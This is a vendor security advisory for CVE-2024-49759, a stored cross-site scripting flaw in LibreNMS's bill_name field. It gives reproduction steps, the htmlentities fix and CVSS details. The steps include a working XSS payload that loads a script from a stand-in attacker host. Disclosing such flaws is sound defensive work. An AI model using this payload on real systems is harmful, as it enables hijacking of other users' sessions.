---
title: "CVE-2024-49759"
date: "2024-11-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-49759/"
---

# CVE-2024-49759

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 5, 2024

CVE-2024-49759  **Published:** Nov 14, 2024

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  7.5 High Severity librenms Stored-XSS XSS

RS Raphael Silva  Reported by Checkmarx Zero

Details Overview

## Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Manage User Access” page of the `@LibreNMS/LibreNMS` project allows authenticated users to inject arbitrary JavaScript through the `bill_name` parameter when creating a new bill. The injected script executes in the Bill Access dropdown on the Manage Access page, enabling remote code execution within another user’s session.

## Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in `librenms/includes/html/pages/edituser.inc.php`.

## Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

## Steps to reproduce

1. Log into the LibreNMS web interface.
2. Create a new bill and enter the following payload as the **Bill Name**:

    `test1'"><script src=//<attacker-url>>`
3. Save the bill.
4. Navigate to the **Manage Access** page for a user.
5. Observe that the external script hosted at `//<attacker-url>` is loaded and executed in the Bill Access dropdown.

### Expected result:

The external script from `//<attacker-url>` executes in the Bill Access dropdown, demonstrating arbitrary JavaScript execution in the victim’s session.

## Remediation

Fixed in LibreNMS 24.10.0 by applying `htmlentities()` to `bill_name` in `edituser.inc.php`, ensuring the value is HTML-encoded before rendering.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher [Raphael Silva](https://www.linkedin.com/in/raphaelcssilva/).

## Resources

1. [GHSA-888j-pjqh-fx58](https://github.com/advisories/GHSA-888j-pjqh-fx58)
2. [Fix commit](https://github.com/librenms/librenms/commit/237f4d2)
3. [NVD entry for CVE-2024-49759](https://nvd.nist.gov/vuln/detail/CVE-2024-49759)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Oct 9, 2024
2. Disclosed Oct 10, 2024
3. Fixed Nov 5, 2024 Patched in LibreNMS 24.10.0

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)